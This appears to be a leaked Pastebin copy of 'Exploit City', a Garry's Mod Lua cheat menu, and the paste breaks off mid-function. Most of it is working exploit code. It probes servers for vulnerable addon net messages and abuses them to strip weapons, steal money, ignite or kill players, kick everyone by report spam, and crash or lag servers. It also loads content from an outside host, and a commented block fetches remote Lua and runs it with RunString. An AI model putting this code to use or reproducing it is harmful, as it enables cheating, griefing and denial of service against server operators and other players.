Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2017
21,887
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.41 KB | None | 0 0
  1. /* LEAKED BY BREAD
  2. - Mint only uploaded it :)
  3. btw darkv1 is pure cancer */
  4. MsgC(Color(0, 240, 255), "♬ Exploit City ♬\n")
  5. MsgC(Color(0, 200, 255), "Type exploits_open in console to open!\n")
  6. MsgC(Color(0, 200, 255), "leaked leaked leaked leaked\n")
  7. surface.PlaySound("HL1/fvox/bell.wav") -- nice playsound
  8.  
  9.  
  10. function ValidNetString( str )
  11.  
  12. local status, error = pcall( net.Start, str )
  13.  
  14. return status
  15.  
  16. end
  17.  
  18. local function playSound(url)
  19.  
  20. sound.PlayURL(url, '', function( station )
  21.  
  22. if ( IsValid( station ) ) then
  23.  
  24. station:SetPos( LocalPlayer():GetPos() )
  25. station:Play()
  26.  
  27. end
  28. end)
  29.  
  30. end
  31.  
  32. playSound("https://itzvoltz.xyz/ec/exploitsismyscity.mp3")
  33.  
  34.  
  35.  
  36.  
  37.  
  38. -- Overriding original DL_Answering_global so it doesnt crash you when kicking all
  39.  
  40. net.Receive("DL_Answering_global", function(_len)
  41. end)
  42.  
  43.  
  44. --[[ WATERMARK ]] --
  45. Watermark = vgui.Create( "HTML" )
  46. Watermark:SetPos( -13, -8)
  47. Watermark:SetSize( ScrW(), ScrH())
  48. Watermark:OpenURL( "https://itzvoltz.xyz/ec/watermark.html" )
  49.  
  50. GRADIENT_HORIZONTAL = 0;
  51. GRADIENT_VERTICAL = 1;
  52. function draw.LinearGradient(x,y,w,h,from,to,dir,res)
  53. dir = dir or GRADIENT_HORIZONTAL;
  54. if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
  55. elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
  56. for i=1,res do
  57. surface.SetDrawColor(
  58. Lerp(i/res,from.r,to.r),
  59. Lerp(i/res,from.g,to.g),
  60. Lerp(i/res,from.b,to.b),
  61. Lerp(i/res,from.a,to.a)
  62. );
  63. if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
  64. elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
  65. end
  66. end
  67.  
  68. function SploitText( str )
  69.  
  70. chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str )
  71.  
  72. end
  73.  
  74. surface.CreateFont( "customfont", {
  75. font = "Roboto",
  76. size = 21,
  77. } )
  78.  
  79. surface.CreateFont( "customfont2", {
  80. font = "Calibri",
  81. size = 15,
  82. } )
  83.  
  84. surface.CreateFont( "customfont3", {
  85. font = "Calibri",
  86. size = 24,
  87. } )
  88.  
  89.  
  90. surface.CreateFont( "closebuttonfont", {
  91. font = "Caviar Dreams",
  92. size = 21,
  93. } )
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100. local function SploitNotify(text)
  101.  
  102. local notify = vgui.Create( "DPanel" )
  103. notify:SetSize( 200, 50 )
  104. notify:SetPos( ScrW() - 200, -50 )
  105. notify.Paint = function(self, w, h)
  106. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  107. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  108. draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  109. end
  110.  
  111.  
  112. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  113. timer.Simple( 3, function()
  114. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  115. end);end)
  116.  
  117. end
  118.  
  119.  
  120.  
  121.  
  122.  
  123. --[[Weapon Stripper Menu]]--
  124.  
  125. time = 1
  126.  
  127.  
  128. function Ply(name) -- finds player name
  129. name = string.lower(name);
  130. for _,v in ipairs(player.GetHumans()) do
  131. if(string.find(string.lower(v:Name()),name,1,true) != nil) then
  132. return v;
  133. end
  134. end
  135. end
  136.  
  137. function stripPlayer(ply) -- Strip player function
  138. if ply:IsPlayer() then
  139.  
  140. for k,v in pairs(ply:GetWeapons()) do
  141.  
  142. net.Start("properties")
  143. net.WriteString( "remove" , 32 )
  144. net.WriteEntity( v )
  145. net.SendToServer()
  146. end
  147. end
  148.  
  149. end
  150. concommand.Add("removewep_crosshair", function()
  151. local xhair = LocalPlayer():GetEyeTrace().Entity
  152. stripPlayer(xhair)
  153. end)
  154.  
  155. function removeAll() -- Strips all Players
  156. for k,v in pairs(player.GetAll()) do
  157. stripPlayer(v)
  158. end
  159. end
  160.  
  161.  
  162. local f = vgui.Create( "DFrame" )
  163. f:SetTitle("Weapon Stripper")
  164. f:SetSize( 500, 500 )
  165. f:Center()
  166. f:MakePopup()
  167. f:SetVisible(false)
  168. f:ShowCloseButton(false)
  169. f.Paint = function( self, w, h )
  170. draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
  171. end
  172.  
  173. local closebutton2 = vgui.Create( "DButton", f )
  174. closebutton2:SetText( "X" )
  175. closebutton2:SetTextColor( Color( 255, 0, 0 ) )
  176. closebutton2:SetPos( f:GetWide() - 31, 0 )
  177. closebutton2:SetFont("closebuttonfont")
  178. closebutton2:SetSize( 31, 31 )
  179. closebutton2.Paint = function( self, w, h )
  180. if closebutton2:IsHovered() then
  181. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  182. else
  183. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  184. end
  185. end
  186. closebutton2.DoClick = function()
  187. f:SetVisible(false)
  188. end
  189.  
  190. local button = vgui.Create("DButton", f)
  191. button:SetText("Strip All")
  192. button:SetPos(220,40)
  193. button:SetTextColor(Color(255, 255, 255))
  194. button.DoClick = function ()
  195. removeAll()
  196. end
  197. button.Paint = function( self, w, h )
  198. draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
  199. end
  200.  
  201.  
  202. local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
  203. DermaCheckboxone:SetPos( 220, 70 )// Set the position
  204. DermaCheckboxone:SetValue(false)
  205. DermaCheckboxone:SetText("Remove All Timer")
  206. function DermaCheckboxone:OnChange( val )
  207. if (val) then
  208. print("rekt all player's weapons")
  209. net.Start("properties")
  210. net.WriteString( "remove" , 32 )
  211. net.WriteEntity( player.GetAll() )
  212. net.SendToServer()
  213. timer.Create( "removealltimer", time, 0, function()
  214. print("rekt all player's weapons")
  215. net.Start("properties")
  216. net.WriteString( "remove" , 32 )
  217. net.WriteEntity( player.GetAll() )
  218. net.SendToServer()
  219. end)
  220. else
  221. timer.Remove("removealltimer")
  222. end
  223. end
  224.  
  225. local TimeSlider = vgui.Create( "DNumSlider", f )
  226. TimeSlider:SetPos( 220, 90 ) // Set the position
  227. TimeSlider:SetSize( 200, 15 ) // Set the size
  228. TimeSlider:SetText( "Time Interval" ) // Set the text above the slider
  229. TimeSlider:SetMin( .1 ) // Set the minimum number you can slide to
  230. TimeSlider:SetMax( 7.5 ) // Set the maximum number you can slide to
  231. TimeSlider:SetValue( 1 )
  232. TimeSlider:SetDecimals( 1 ) // Decimal places - zero for whole number
  233. TimeSlider.OnValueChanged = function( panel, value )
  234. time = math.Round(value, 1)
  235. if DermaCheckboxone:GetChecked() == 1 then
  236. timer.Remove("removealltimer")
  237. timer.Create( "removealltimer", time, 0, function()
  238. print("rekt")
  239. net.Start("properties")
  240. net.WriteString( "remove" , 32 )
  241. net.WriteEntity( player.GetAll() )
  242. net.SendToServer()
  243. end)
  244. end
  245. end
  246.  
  247.  
  248. local AppList = vgui.Create( "DListView", f)
  249. AppList:SetSize(200,100)
  250. AppList:Dock( LEFT )
  251. AppList:SetMultiSelect( false )
  252. AppList:AddColumn( "Name" )
  253. for k, v in pairs(player.GetAll()) do
  254. AppList:AddLine(v:Name())
  255. end
  256.  
  257. AppList.OnRowSelected = function( lst, index, pnl )
  258. --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
  259. ply = Ply(pnl:GetColumnText( 1 ))
  260. print(pnl:GetColumnText( 1 ) .. " rekt")
  261. stripPlayer(ply)
  262.  
  263. end
  264.  
  265.  
  266. concommand.Add("menu",menu)
  267. concommand.Add("strip",stripPlayer)
  268. function removeWeapons()
  269.  
  270. local Target = LocalPlayer():GetEyeTrace().Entity
  271.  
  272. if Target:IsPlayer() then
  273. for x,y in pairs(Target:GetWeapons()) do
  274.  
  275. net.Start("properties")
  276. net.WriteString( "remove" , 32 )
  277. net.WriteEntity( y )
  278. net.SendToServer()
  279. end
  280.  
  281. end
  282.  
  283. end
  284.  
  285. --[[End of Weapon Stripper]]--
  286.  
  287. local wMain = ScrW() / 3
  288. local hMain = ScrH() / 2.8
  289. totalSploits = 0
  290.  
  291.  
  292. local Main = vgui.Create( "DFrame" )
  293. Main:SetTitle("")
  294. Main:SetSize( wMain, hMain )
  295. Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
  296. Main:SetMouseInputEnabled(true)
  297. Main:SetKeyBoardInputEnabled(true)
  298. Main:SetDraggable(false)
  299. Main:SetVisible(false)
  300. Main:ShowCloseButton(false)
  301. Main.Paint = function( self, w, h )
  302. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
  303. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  304. --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
  305. surface.SetDrawColor( 0, 0, 0, 255)
  306. surface.DrawOutlinedRect( 0, 0, w, h )
  307. draw.SimpleText( "Exploit City", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  308. draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
  309. end
  310.  
  311.  
  312.  
  313. local closebutton = vgui.Create( "DButton", Main )
  314. closebutton:SetText( "X" )
  315. closebutton:SetTextColor( Color( 255, 0, 0 ) )
  316. closebutton:SetPos( Main:GetWide() - 31, 0 )
  317. closebutton:SetFont("closebuttonfont")
  318. closebutton:SetSize( 31, 31 )
  319. closebutton.Paint = function( self, w, h )
  320. if closebutton:IsHovered() then
  321. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  322. else
  323. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  324. end
  325. end
  326.  
  327. local weaponbutton = vgui.Create( "DButton", Main )
  328. weaponbutton:SetText( "Weapon Stripper" )
  329. weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
  330. weaponbutton:SetSize( 31 * 3.5, 31 )
  331. weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
  332. weaponbutton:SetFont("customfont2")
  333. weaponbutton.Paint = function( self, w, h )
  334. if weaponbutton:IsHovered() then
  335. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  336. else
  337. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  338. end
  339. end
  340. weaponbutton.DoClick = function()
  341. f:SetVisible(true)
  342. end
  343.  
  344. local tabs = vgui.Create( "DPropertySheet", Main )
  345. tabs:Dock( FILL )
  346. tabs:DockPadding( 5, 5, 0, 0)
  347. tabs.Paint = function (self, w, h)
  348. for k, v in pairs(tabs.Items) do
  349. if (!v.Tab) then continue end
  350.  
  351. v.Tab.Paint = function(self,w,h)
  352. draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  353. end
  354. end
  355. end
  356.  
  357. local exploitsPanel = vgui.Create( "DPanel", tabs )
  358. exploitsPanel.Paint = function( self, w, h )
  359. --draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  360. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  361. end
  362. tabs:AddSheet( "Exploits", exploitsPanel )
  363.  
  364. local toolsPanel = vgui.Create( "DPanel", tabs )
  365. toolsPanel.Paint = function( self, w, h )
  366. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  367. end
  368. tabs:AddSheet( "Tools", toolsPanel )
  369.  
  370. local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
  371. exploitsScrollPanel:Dock( FILL )
  372.  
  373. local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
  374. toolsScrollPanel:Dock( FILL )
  375.  
  376. --[[ FUNCTIONS ]]
  377.  
  378. function addExploit(id, text, desc, func)
  379. local id2 = id .. "."
  380. local name = text
  381. totalSploits = 1 + totalSploits
  382.  
  383. local id = vgui.Create( "DButton", exploitsScrollPanel )
  384. id:SetText( name )
  385. id:SetTextColor( Color( 200, 200, 200 ) )
  386. id:SetFont("customfont")
  387. id:Dock( TOP )
  388. id:DockMargin( 2, 10, 2, -5 )
  389. id:DockPadding( 2, 25, 2, 50 )
  390. id.DoClick = func
  391.  
  392.  
  393. id.Paint = function( self, w, h )
  394. if id:IsHovered() then
  395. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  396. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  397. else
  398. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  399. end
  400. surface.SetDrawColor( 0, 0, 0, 255)
  401. surface.DrawOutlinedRect( 0, 0, w, h )
  402. end
  403. end
  404.  
  405. function addTool(id, text, desc, func)
  406. local id2 = id .. "."
  407. local name = text
  408.  
  409. local id = vgui.Create( "DButton", toolsScrollPanel )
  410. id:SetText( name )
  411. id:SetTextColor( Color( 200, 200, 200 ) )
  412. id:SetFont("customfont")
  413. id:Dock( TOP )
  414. id:DockMargin( 2, 10, 2, -5 )
  415. id:DockPadding( 2, 25, 2, 50 )
  416. id.DoClick = func
  417.  
  418.  
  419. id.Paint = function( self, w, h )
  420. if id:IsHovered() then
  421. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  422. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  423. else
  424. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  425. end
  426. surface.SetDrawColor( 0, 0, 0, 255)
  427. surface.DrawOutlinedRect( 0, 0, w, h )
  428. end
  429. end
  430.  
  431. function addServer(id, text, desc, ip)
  432. local id2 = id .. "."
  433. local name = text
  434.  
  435. local id = vgui.Create( "DButton", serversScrollPanel )
  436. id:SetText( name )
  437. id:SetTextColor( Color( 200, 200, 200 ) )
  438. id:SetFont("customfont")
  439. id:Dock( TOP )
  440. id:DockMargin( 2, 10, 2, -5 )
  441. id:DockPadding( 2, 25, 2, 50 )
  442. id.DoClick = function()
  443. LocalPlayer():ConCommand("connect "..ip)
  444. end
  445.  
  446.  
  447. id.Paint = function( self, w, h )
  448. if id:IsHovered() then
  449. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  450. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  451. else
  452. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  453. end
  454. surface.SetDrawColor( 0, 0, 0, 255)
  455. surface.DrawOutlinedRect( 0, 0, w, h )
  456. end
  457. end
  458.  
  459. function broadcast( str )
  460.  
  461. if( str != nil ) then
  462.  
  463. SploitText("Beginning to broadcast message: " .. str)
  464.  
  465. else
  466.  
  467. SploitText("Message is nil, enter a valid string!")
  468.  
  469. end
  470.  
  471. for k,v in pairs( player.GetAll() ) do
  472.  
  473. if ( v != LocalPlayer() ) then
  474.  
  475. RunConsoleCommand( "ulx", "psay", v:Nick(), str )
  476.  
  477. end
  478.  
  479. end
  480.  
  481. end
  482.  
  483.  
  484. hook.Add("Think", "RGBSTF", function()
  485. local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  486. LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  487. LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  488. end)
  489.  
  490.  
  491. --[[ SERVERS ]]--
  492. /*
  493.  
  494. http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
  495.  
  496. RunString( ret )
  497.  
  498. end)
  499.  
  500.  
  501.  
  502. -- [[ Tools ]]
  503.  
  504. -- [[ Server List ]]
  505.  
  506. addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
  507. LocalPlayer():ConCommand("exploitable_servers")
  508. end)
  509.  
  510. */
  511.  
  512. --[[ ULX PSAY BROADCASTER ]]
  513. if ulx then
  514. addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
  515.  
  516. --[[ Vars ]]
  517.  
  518. local wPsay = ScrW() / 5
  519. local hPsay = ScrH() / 10
  520.  
  521. --[[ Menu ]]
  522.  
  523. local pSayMain = vgui.Create( "DFrame" )
  524. pSayMain:SetTitle("")
  525. pSayMain:SetSize( wPsay, hPsay )
  526. pSayMain:SetPos(50, ScrH() / 2)
  527. pSayMain:SetMouseInputEnabled(true)
  528. pSayMain:SetKeyBoardInputEnabled(true)
  529. pSayMain:ShowCloseButton(false)
  530. pSayMain:MakePopup()
  531. pSayMain.Paint = function( self, w, h )
  532. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  533. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  534. surface.SetDrawColor( 0, 0, 0, 255)
  535. surface.DrawOutlinedRect( 0, 0, w, h )
  536. draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  537. end
  538.  
  539.  
  540.  
  541. local psayClose = vgui.Create( "DButton", pSayMain )
  542. psayClose:SetText( "X" )
  543. psayClose:SetTextColor( Color( 255, 0, 0 ) )
  544. psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
  545. psayClose:SetFont("closebuttonfont")
  546. psayClose:SetSize( 31, 31 )
  547. psayClose.Paint = function( self, w, h )
  548. if psayClose:IsHovered() then
  549. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  550. else
  551. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  552. end
  553. end
  554.  
  555. psayClose.DoClick = function()
  556. pSayMain:Remove()
  557. end
  558.  
  559. local psayInput = vgui.Create( "DTextEntry", pSayMain )
  560. psayInput:SetPos( 25, 40 )
  561. psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
  562. psayInput:SetText( "BroadcastMSG" )
  563. psayInput.OnEnter = function( self )
  564. chat.AddText( self:GetValue() )
  565. end
  566.  
  567. local sendBroadCast = vgui.Create( "DButton", pSayMain )
  568. sendBroadCast:SetText( "Broadcast" )
  569. sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
  570. sendBroadCast:SetPos( 220, 40 )
  571. sendBroadCast:SetFont("customfont")
  572. sendBroadCast:SetSize( 90, 25 )
  573. sendBroadCast.Paint = function( self, w, h )
  574. if sendBroadCast:IsHovered() then
  575. draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
  576. else
  577. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  578. end
  579. end
  580.  
  581. sendBroadCast.DoClick = function()
  582. broadcast( psayInput:GetValue() )
  583.  
  584. end
  585.  
  586.  
  587.  
  588. end)
  589. end
  590.  
  591.  
  592. --[[ Exploits ]]--
  593.  
  594.  
  595.  
  596. local status = ValidNetString("CraftSomething")
  597. if (status) then
  598. SploitText("Found exploitable net message: CraftSomething")
  599. addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
  600. inputFrameExists = true
  601. inputFrame = vgui.Create( "DFrame" )
  602. inputFrame:SetTitle("Choose a weapon!")
  603. inputFrame:SetSize( 400, 75 )
  604. inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
  605. inputFrame:SetDraggable(false)
  606. inputFrame:ShowCloseButton(false)
  607. inputFrame:MakePopup()
  608. inputFrame.Paint = function( self, w, h )
  609. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  610. end
  611.  
  612. local TextEntry = vgui.Create( "DTextEntry", inputFrame )
  613. TextEntry:SetSize( 380, 30 )
  614. TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
  615. TextEntry:SetText( "m9k_ak47" )
  616. TextEntry.OnEnter = function( self )
  617. surface.PlaySound("garrysmod/ui_click.wav")
  618. SploitText("Giving Weapon")
  619. net.Start( "CraftSomething" )
  620. net.WriteEntity( LocalPlayer() )
  621. net.WriteString( self:GetValue() )
  622. net.WriteString( "" )
  623. net.WriteString( "weapon" )
  624. net.SendToServer()
  625. inputFrame:SetVisible(false)
  626. end
  627. end)
  628. end
  629.  
  630.  
  631. local status = ValidNetString("TCBuyAmmo")
  632. if (status) then
  633. SploitText("Found exploitable net message: TCBuyAmmo")
  634. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  635. surface.PlaySound("garrysmod/ui_click.wav")
  636. SploitText("Getting Le Ammo")
  637. for k,v in pairs(GAMEMODE.AmmoTypes) do
  638.  
  639. net.Start("TCBBuyAmmo")
  640.  
  641. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  642.  
  643. net.SendToServer()
  644.  
  645. end
  646. end);end
  647.  
  648.  
  649.  
  650. local status = ValidNetString("DataSend")
  651. if (status) then
  652. SploitText("Found exploitable net message: Steal All Monies #1")
  653. addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
  654. surface.PlaySound("garrysmod/ui_click.wav")
  655. for k, v in pairs( ents.GetAll() ) do
  656.  
  657. if v:GetClass() == "adv_moneyprinter" then
  658.  
  659. SploitText("Collecting Money")
  660.  
  661. net.Start("DataSend")
  662.  
  663. net.WriteFloat(2)
  664.  
  665. net.WriteEntity(v)
  666.  
  667. net.WriteEntity(LocalPlayer())
  668.  
  669. net.SendToServer()
  670.  
  671. end;end
  672. end);end
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679. local status = ValidNetString("FarmingmodSellItems")
  680. if (status) then
  681. SploitText("Found Exploit: Free Money")
  682. addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
  683. surface.PlaySound("garrysmod/ui_click.wav")
  684. SploitText("Enjoy the b1g monies")
  685. net.Start( "FarmingmodSellItems" )
  686. net.WriteTable(
  687. {
  688. Cost = 10,
  689. CropModel = "models/props/eryk/garlic.mdl",
  690. CropType = 2,
  691. Info = "Garlic Seed",
  692. Model = "models/props/eryk/seedbag.mdl",
  693. Name = "Garlic",
  694. Quality = 4,
  695. Sell = 99999,
  696. Type = "Seed"
  697. }
  698. )
  699. net.WriteInt(1,16)
  700. net.SendToServer()
  701. end);end
  702.  
  703.  
  704. local status = ValidNetString("start_wd_emp")
  705. if (status) then
  706. SploitText("Found Exploit: Hack Keypads")
  707. addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
  708. surface.PlaySound("garrysmod/ui_click.wav")
  709. SploitNotify("Hacking Keypads")
  710. net.Start('start_wd_emp')
  711. net.SendToServer()
  712. end);end
  713.  
  714.  
  715. local status = ValidNetString("duelrequestguiYes")
  716. if (status) then
  717. SploitText("Found Exploit: Get Money")
  718. addExploit( "7","Get Money", "Duel Exploit", function()
  719. surface.PlaySound("garrysmod/ui_click.wav")
  720. SploitNotify("getting ez monies")
  721. net.Start("duelrequestguiYes")
  722. net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
  723. net.WriteEntity(table.Random( player.GetAll() ) )
  724. net.WriteString("Crossbow")
  725. net.SendToServer()
  726. end);end
  727.  
  728.  
  729. local status = ValidNetString("drugseffect_remove")
  730. if (status) then
  731. SploitText("Found exploitable net message: drugseffect_remove ")
  732. addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
  733. surface.PlaySound("garrysmod/ui_click.wav")
  734. SploitText("Removing Weapons from All")
  735. net.Start("drugseffect_remove")
  736. net.SendToServer()
  737. end);end
  738.  
  739. local status = ValidNetString("drugs_money")
  740. if (status) then
  741. SploitText("Found exploitable net message: drugs_money")
  742. addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
  743. surface.PlaySound("garrysmod/ui_click.wav")
  744. SploitText("Removing Weapons from All")
  745. net.Start("drugs_money")
  746. net.SendToServer()
  747. end);end
  748.  
  749. local status = ValidNetString("drugs_ignite")
  750. if (status) then
  751. SploitText("Found exploitable net message: drugs_ignite")
  752. addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
  753. surface.PlaySound("garrysmod/ui_click.wav")
  754. SploitText("Igniting Props")
  755. net.Start("drugs_ignite")
  756. net.WriteString("prop_physics")
  757. net.SendToServer()
  758. end);end
  759.  
  760.  
  761. local status = ValidNetString("drugs_ignite")
  762. if (status) then
  763. addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
  764. surface.PlaySound("garrysmod/ui_click.wav")
  765. SploitText("Igniting Players")
  766. net.Start("drugs_ignite")
  767. net.WriteString("player")
  768. net.SendToServer()
  769. end);end
  770.  
  771.  
  772. local status = ValidNetString("drugseffect_hpremove")
  773. if (status) then
  774. SploitText("Found Exploit: Remove All Players HP")
  775. addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
  776. surface.PlaySound("garrysmod/ui_click.wav")
  777. SploitText("Removing All Players HP")
  778. net.Start("drugseffect_hpremove")
  779. net.WriteString(1)
  780. net.SendToServer()
  781. end);end
  782.  
  783.  
  784. local status = ValidNetString("drugseffect_hpremove")
  785. if (status) then
  786. SploitText("Found Exploit: Give All God")
  787. addExploit( "13","Give All God", "An exploit in the drug addon", function()
  788. surface.PlaySound("garrysmod/ui_click.wav")
  789. SploitText("Giving All God")
  790. net.Start("drugseffect_hpremove")
  791. net.WriteString(299999)
  792. net.SendToServer()
  793. end);end
  794.  
  795. local status = ValidNetString("drugs_text")
  796. if (status) then
  797. SploitText("Found Exploit: Remove All Props")
  798. addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
  799. surface.PlaySound("garrysmod/ui_click.wav")
  800. SploitText("Removing All Props")
  801. net.Start("drugs_text")
  802. net.WriteString("prop_physics")
  803. net.SendToServer()
  804. end);end
  805.  
  806. local status = ValidNetString("DarkRP_Kun_ForceSpawn")
  807. if (status) then
  808. SploitText("Found Exploit: TP")
  809. addExploit( "15", "TP", "No clue what this does xd", function()
  810. surface.PlaySound("garrysmod/ui_click.wav")
  811. SploitText("TPing")
  812. net.Start("DarkRP_Kun_ForceSpawn")
  813. net.SendToServer()
  814. end);end
  815.  
  816.  
  817. local status = ValidNetString("SyncPrinterButtons76561198056171650")
  818. if (status) then
  819. SploitText("Found Exploit: Steal All Monies #2")
  820. addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
  821. surface.PlaySound("garrysmod/ui_click.wav")
  822.  
  823. SploitText("Collecting Money")
  824.  
  825. for k, v in pairs(ents.GetAll()) do
  826.  
  827. if (v:GetClass() == "adv_moneyprinter") then
  828.  
  829. net.Start( "SyncPrinterButtons76561198056171650" )
  830.  
  831. net.WriteEntity(v)
  832.  
  833. net.WriteUInt(2, 4)
  834.  
  835. net.SendToServer()
  836.  
  837. end
  838.  
  839. end
  840. end);end
  841.  
  842. local function report()
  843. for i = 1, 2000 do
  844. net.Start("DL_Answering")
  845. net.SendToServer()
  846. end
  847. end
  848.  
  849. if (Damagelog) then
  850. SploitText("Found Exploit: Kick All Players")
  851. reportSpam = 0
  852. addExploit( "17","Kick All Players", "Kicks all players", function()
  853. surface.PlaySound("garrysmod/ui_click.wav")
  854. if (reportSpam == 0) then
  855. SploitNotify("Starting Kicker")
  856. reportSpam = 1
  857. timer.Create("reportSpammer", 0.05, 0, report)
  858. else
  859. SploitNotify("Stopping Kicker")
  860. reportSpam = 0
  861. timer.Remove("reportSpammer")
  862. end
  863.  
  864. end);end
  865.  
  866.  
  867. local status = ValidNetString("SimplicityAC_aysent")
  868. if (status) then
  869. SploitText("Found Exploit: Instant Crash")
  870. addExploit( "19","Instant Crash", "Will instantly crash the server", function()
  871. surface.PlaySound("garrysmod/ui_click.wav")
  872. SploitText("Goodbye Server")
  873. local tbl = {}
  874.  
  875. for i=1,400 do
  876.  
  877. tbl[i] = i
  878.  
  879. end
  880.  
  881. net.Start("SimplicityAC_aysent")
  882.  
  883. net.WriteUInt(1, 8)
  884.  
  885. net.WriteUInt(4294967295, 32)
  886.  
  887. net.WriteTable(tbl)
  888.  
  889. net.SendToServer()
  890. end);end
  891.  
  892. local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
  893. if (status) then
  894. SploitText("Found Exploit: Lagger #1")
  895. lagger1 = 0
  896. addExploit( "20", "Lagger #1", "b1g lags", function()
  897. surface.PlaySound("garrysmod/ui_click.wav")
  898. if (lagger1 == 0) then
  899. SploitNotify("Starting Lagger")
  900. lagger1 = 1
  901. timer.Create("lagger1", 0.02, 0, function()
  902.  
  903. for k,v in pairs(player.GetAll()) do
  904.  
